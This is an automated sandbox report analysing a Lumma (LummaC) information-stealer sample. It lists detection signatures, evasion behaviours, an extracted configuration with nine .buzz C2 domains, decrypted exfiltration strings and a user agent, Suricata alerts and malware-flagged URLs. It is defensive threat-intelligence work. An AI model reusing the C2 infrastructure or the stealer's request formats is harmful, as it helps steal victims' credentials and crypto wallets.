Edit tour

Windows Analysis Report
TdloJt4gY3.exe

Overview

General Information

Sample name:	TdloJt4gY3.exe renamed because original name is a hash value
Original sample name:	2813aab84c7810610de640b20c7e4eea.exe
Analysis ID:	1581618
MD5:	2813aab84c7810610de640b20c7e4eea
SHA1:	9f09a197ce9e5e1886a382565b56fcc6b47ef114
SHA256:	1e0035e7354b1131b609d18dd3c3165ebecd48fbb4d6b1ae406bfe07633abf53
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

TdloJt4gY3.exe (PID: 7364 cmdline: "C:\Users\user\Desktop\TdloJt4gY3.exe" MD5: 2813AAB84C7810610DE640B20C7E4EEA)

chrome.exe (PID: 8076 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=TdloJt4gY3.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 5848 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=1976,i,11112541145755305817,6988053070862879912,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 2096 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=TdloJt4gY3.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 6552 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2124 --field-trial-handle=1572,i,9508443502373598390,10805863562423066413,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["appliacnesot.buzz", "prisonyfork.buzz", "cashfuzysao.buzz", "scentniej.buzz", "screwamusresz.buzz", "hummskitnj.buzz", "mindhandru.buzz", "inherineau.buzz", "rebuildeso.buzz"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1400126860.000000000158C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1473647740.00000000015B7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1474082903.0000000001566000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1447965011.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1446118778.0000000001566000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1445995452.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1471045779.0000000001566000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1400224047.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1422590798.00000000015A3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1471045779.00000000015A4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: TdloJt4gY3.exe PID: 7364	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: TdloJt4gY3.exe PID: 7364	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: TdloJt4gY3.exe PID: 7364	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 9 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.3.TdloJt4gY3.exe.1557989.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T09:56:30.535324+0100	2028371	3	Unknown Traffic	192.168.2.11	49707	23.55.153.106	443	TCP
2024-12-28T09:56:33.156309+0100	2028371	3	Unknown Traffic	192.168.2.11	49709	172.67.157.254	443	TCP
2024-12-28T09:56:35.430976+0100	2028371	3	Unknown Traffic	192.168.2.11	49715	172.67.157.254	443	TCP
2024-12-28T09:56:38.222684+0100	2028371	3	Unknown Traffic	192.168.2.11	49721	172.67.157.254	443	TCP
2024-12-28T09:56:40.587781+0100	2028371	3	Unknown Traffic	192.168.2.11	49727	172.67.157.254	443	TCP
2024-12-28T09:56:43.085649+0100	2028371	3	Unknown Traffic	192.168.2.11	49735	172.67.157.254	443	TCP
2024-12-28T09:56:45.675794+0100	2028371	3	Unknown Traffic	192.168.2.11	49743	172.67.157.254	443	TCP
2024-12-28T09:56:48.403142+0100	2028371	3	Unknown Traffic	192.168.2.11	49754	172.67.157.254	443	TCP
2024-12-28T09:56:53.476994+0100	2028371	3	Unknown Traffic	192.168.2.11	49765	172.67.157.254	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T09:56:33.917344+0100	2054653	1	A Network Trojan was detected	192.168.2.11	49709	172.67.157.254	443	TCP
2024-12-28T09:56:36.521893+0100	2054653	1	A Network Trojan was detected	192.168.2.11	49715	172.67.157.254	443	TCP
2024-12-28T09:56:54.247590+0100	2054653	1	A Network Trojan was detected	192.168.2.11	49765	172.67.157.254	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T09:56:33.917344+0100	2049836	1	A Network Trojan was detected	192.168.2.11	49709	172.67.157.254	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T09:56:36.521893+0100	2049812	1	A Network Trojan was detected	192.168.2.11	49715	172.67.157.254	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T09:56:55.758808+0100	2019714	2	Potentially Bad Traffic	192.168.2.11	49771	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (appliacnesot .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T09:56:28.444295+0100	2058572	1	Domain Observed Used for C2 Detected	192.168.2.11	56305	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cashfuzysao .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T09:56:28.607484+0100	2058576	1	Domain Observed Used for C2 Detected	192.168.2.11	62938	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (hummskitnj .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T09:56:28.749429+0100	2058578	1	Domain Observed Used for C2 Detected	192.168.2.11	59523	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (inherineau .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T09:56:28.086838+0100	2058580	1	Domain Observed Used for C2 Detected	192.168.2.11	49625	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mindhandru .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T09:56:27.511071+0100	2058582	1	Domain Observed Used for C2 Detected	192.168.2.11	61183	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (prisonyfork .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T09:56:27.659045+0100	2058584	1	Domain Observed Used for C2 Detected	192.168.2.11	61407	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rebuildeso .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T09:56:27.802250+0100	2058586	1	Domain Observed Used for C2 Detected	192.168.2.11	54673	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scentniej .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T09:56:27.944060+0100	2058588	1	Domain Observed Used for C2 Detected	192.168.2.11	65249	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (screwamusresz .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T09:56:28.260637+0100	2058590	1	Domain Observed Used for C2 Detected	192.168.2.11	55666	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T09:56:39.232217+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.11	49721	172.67.157.254	443	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T09:56:31.311832+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.11	49707	23.55.153.106	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: TdloJt4gY3.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://lev-tolstoi.com/apiujJy4	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/ts	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/apiyNETL	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/a	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/apion	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/uoP	Avira URL Cloud: Label: malware

Found malware configuration

Source: TdloJt4gY3.exe.7364.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["appliacnesot.buzz", "prisonyfork.buzz", "cashfuzysao.buzz", "scentniej.buzz", "screwamusresz.buzz", "hummskitnj.buzz", "mindhandru.buzz", "inherineau.buzz", "rebuildeso.buzz"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for submitted file

Source: TdloJt4gY3.exe	ReversingLabs: Detection: 55%
Source: TdloJt4gY3.exe	Virustotal: Detection: 54%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: TdloJt4gY3.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000003.1303182026.00000000052B0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: hummskitnj.buzz
Source: 00000000.00000003.1303182026.00000000052B0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: cashfuzysao.buzz
Source: 00000000.00000003.1303182026.00000000052B0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: appliacnesot.buzz
Source: 00000000.00000003.1303182026.00000000052B0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: screwamusresz.buzz
Source: 00000000.00000003.1303182026.00000000052B0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: inherineau.buzz
Source: 00000000.00000003.1303182026.00000000052B0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: scentniej.buzz
Source: 00000000.00000003.1303182026.00000000052B0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: rebuildeso.buzz
Source: 00000000.00000003.1303182026.00000000052B0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: prisonyfork.buzz
Source: 00000000.00000003.1303182026.00000000052B0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: mindhandru.buzz
Source: 00000000.00000003.1303182026.00000000052B0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000003.1303182026.00000000052B0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000003.1303182026.00000000052B0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000003.1303182026.00000000052B0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000003.1303182026.00000000052B0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000003.1303182026.00000000052B0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: LOGS11--LiveTraffic

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=TdloJt4gY3.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=TdloJt4gY3.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=TdloJt4gY3.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=TdloJt4gY3.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Source: TdloJt4gY3.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 173.222.162.42:443 -> 192.168.2.11:49948 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.11:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.11:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.11:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.11:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.11:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.11:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.11:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.11:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.11:49765 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058586 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rebuildeso .buzz) : 192.168.2.11:54673 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058572 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (appliacnesot .buzz) : 192.168.2.11:56305 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058588 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scentniej .buzz) : 192.168.2.11:65249 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058582 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mindhandru .buzz) : 192.168.2.11:61183 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058584 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (prisonyfork .buzz) : 192.168.2.11:61407 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058580 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (inherineau .buzz) : 192.168.2.11:49625 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058590 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (screwamusresz .buzz) : 192.168.2.11:55666 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058576 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cashfuzysao .buzz) : 192.168.2.11:62938 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058578 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (hummskitnj .buzz) : 192.168.2.11:59523 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.11:49721 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.11:49715 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.11:49715 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.11:49707 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.11:49709 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.11:49709 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.11:49765 -> 172.67.157.254:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: appliacnesot.buzz
Source: Malware configuration extractor	URLs: prisonyfork.buzz
Source: Malware configuration extractor	URLs: cashfuzysao.buzz
Source: Malware configuration extractor	URLs: scentniej.buzz
Source: Malware configuration extractor	URLs: screwamusresz.buzz
Source: Malware configuration extractor	URLs: hummskitnj.buzz
Source: Malware configuration extractor	URLs: mindhandru.buzz
Source: Malware configuration extractor	URLs: inherineau.buzz
Source: Malware configuration extractor	URLs: rebuildeso.buzz

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 28 Dec 2024 08:56:54 GMTContent-Type: application/octet-streamContent-Length: 2787840Last-Modified: Sat, 28 Dec 2024 08:16:29 GMTConnection: keep-aliveETag: "676fb3dd-2a8a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 a7 3a 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 78 67 62 70 63 74 71 72 00 00 2a 00 00 a0 00 00 00 fc 29 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 67 78 75 70 6d 78 73 00 20 00 00 00 a0 2a 00 00 04 00 00 00 64 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2a 00 00 22 00 00 00 68 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 172.67.157.254 172.67.157.254
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49709 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49707 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49727 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49735 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49715 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49743 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49765 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49721 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49754 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.11:49771 -> 185.215.113.16:80

Source: unknown

HTTPS traffic detected: 173.222.162.42:443 -> 192.168.2.11:49948 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.42
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.42
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.3
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.3
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.42
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.42
